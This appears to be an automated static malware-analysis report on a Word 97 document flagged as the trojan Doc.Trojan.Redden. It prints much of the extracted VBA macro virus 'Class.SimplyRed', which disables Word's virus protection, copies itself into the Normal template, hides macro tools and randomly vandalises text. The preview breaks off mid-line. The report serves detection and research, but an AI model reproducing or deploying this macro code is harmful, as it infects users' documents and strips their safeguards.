Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8018d4de13b3d1fe…

MALICIOUS

Office (OLE)

43.5 KB Created: 2000-05-18 10:06:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8006f50fd64f55dbe88e039246ae8847 SHA-1: 64be26ba5ee1f8ec23a10eed4853e48e7f7ff39f SHA-256: 8018d4de13b3d1fe11dee005a2e38f6ae66325e5aa78ff5b9de4ebcdf0ef6ea8
180 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The file is identified as malicious by ClamAV with multiple detections, indicating it is a known trojan. The presence of a Document_Open VBA macro suggests an attempt to execute malicious code upon opening the document. The macro code appears to be obfuscated and attempts to copy itself to the Normal template, a common persistence technique.

Heuristics 3

  • ClamAV: Doc.Trojan.Redden-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Redden-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 24750 bytes
SHA-256: 6e8de51af76f2dc9e7d9a5fa2bd773cbe065f094ac049b80d0e6a490a0ca31ab
Detection
ClamAV: Doc.Trojan.Redden-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
'
'      <` .        |       |>     |
'      -' | <'> |> | <.|   |\ <- <|
'               '      '
'  Class.SimplyRed by N|(0†|N (c) 1999
'
'
On Error GoTo Phuck
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Randomize
can = Int(150 * Rnd)
If can = 9 Then
Options.DefaultHighlightColorIndex = wdRed
    Selection.Font.ColorIndex = wdDarkRed
Selection.Find.ClearFormatting
    Selection.Find.Replacement.ClearFormatting
    Selection.Find.Replacement.Highlight = True
    With Selection.Find
        .Text = " "
        .Replacement.Text = "Simply Red"
        .Forward = True
        .Wrap = wdFindContinue
        .Format = True
        .MatchCase = False
        .MatchWholeWord = False
        .MatchWildcards = False
        .MatchSoundsLike = False
        .MatchAllWordForms = False
    End With
    Selection.Find.Execute Replace:=wdReplaceAll
CommandBars("Edit").Controls(1).Delete
End If
If ThisDocument.FullName = NormalTemplate.FullName Then
Set dest = ActiveDocument.VBProject.VBComponents("ThisDocument")
Set sour = NormalTemplate.VBProject.VBComponents("ThisDocument")
Else
Set sour = ThisDocument.VBProject.VBComponents("ThisDocument")
Set dest = NormalTemplate.VBProject.VBComponents("ThisDocument")
End If
cou = dest.CodeModule.countoflines
If cou > 0 Then
For j = 1 To cou
dest.CodeModule.DeleteLines (1)
Next j
End If
lin = sour.CodeModule.Lines(1, sour.CodeModule.countoflines)
dest.CodeModule.AddFromString (lin)
already = False
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
aprj = NormalTemplate.VBProject.VBComponents(i).Name
If aprj = "SimplyRed" Then already = True
Next i
If Not already Then
NormalTemplate.VBProject.VBComponents.Add (vbext_ct_StdModule)
NormalTemplate.VBProject.VBComponents(NormalTemplate.VBProject.VBComponents.Count).Name = "SimplyRed"
Set nor = NormalTemplate.VBProject.VBComponents("SimplyRed").CodeModule
eol = Chr(13) + Chr(10)
nor.AddFromString ("Sub ToolsMacro" + eol + "End Sub")
nor.AddFromString ("Sub Organizer" + eol + "End Sub")
nor.AddFromString ("Sub ViewVBCode" + eol + "End Sub")
nor.AddFromString ("Sub FileTemplates" + eol + "End Sub")
End If
Phuck:
End Sub

Private Sub Document_New()
'
'      <` .        |       |>     |
'      -' | <'> |> | <.|   |\ <- <|
'               '      '
'  Class.SimplyRed by N|(0†|N (c) 1999
'
'
On Error GoTo Phuck
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Randomize
can = Int(150 * Rnd)
If can = 9 Then
Options.DefaultHighlightColorIndex = wdRed
    Selection.Font.ColorIndex = wdDarkRed
Selection.Find.ClearFormatting
    Selection.Find.Replacement.ClearFormatting
    Selection.Find.Replacement.Highlight = True
    With Selection.Find
        .Text = " "
        .Replacement.Text = "Simply Red"
        .Forward = True
        .Wrap = wdFindContinue
        .Format = True
        .MatchCase = False
        .MatchWholeWord = False
        .MatchWildcards = False
        .MatchSoundsLike = False
        .MatchAllWordForms = False
    End With
    Selection.Find.Execute Replace:=wdReplaceAll
CommandBars("Edit").Controls(1).Delete
End If
If ThisDocument.FullName = NormalTemplate.FullName Then
Set dest = ActiveDocument.VBProject.VBComponents("ThisDocument")
Set sour = NormalTemplate.VBProject.VBComponents("ThisDocument")
Else
Set sour = ThisDocument.VBProject.VBComponents("ThisDocument")
Set dest = NormalTemplate.VBProject.VBComponents("ThisDocument")
End If
cou = dest.CodeModule.countoflines
If cou > 0 Then
For j = 1 To cou
dest.CodeModule.DeleteLines (1)
Next j
End If
lin = sour.CodeModule.Lines(1, sour.CodeModule.countoflines)
dest.CodeModule.AddFromString (lin)
already = False
For i = 1 To NormalTemplate.VBProject.VBComponents.Coun
... (truncated)

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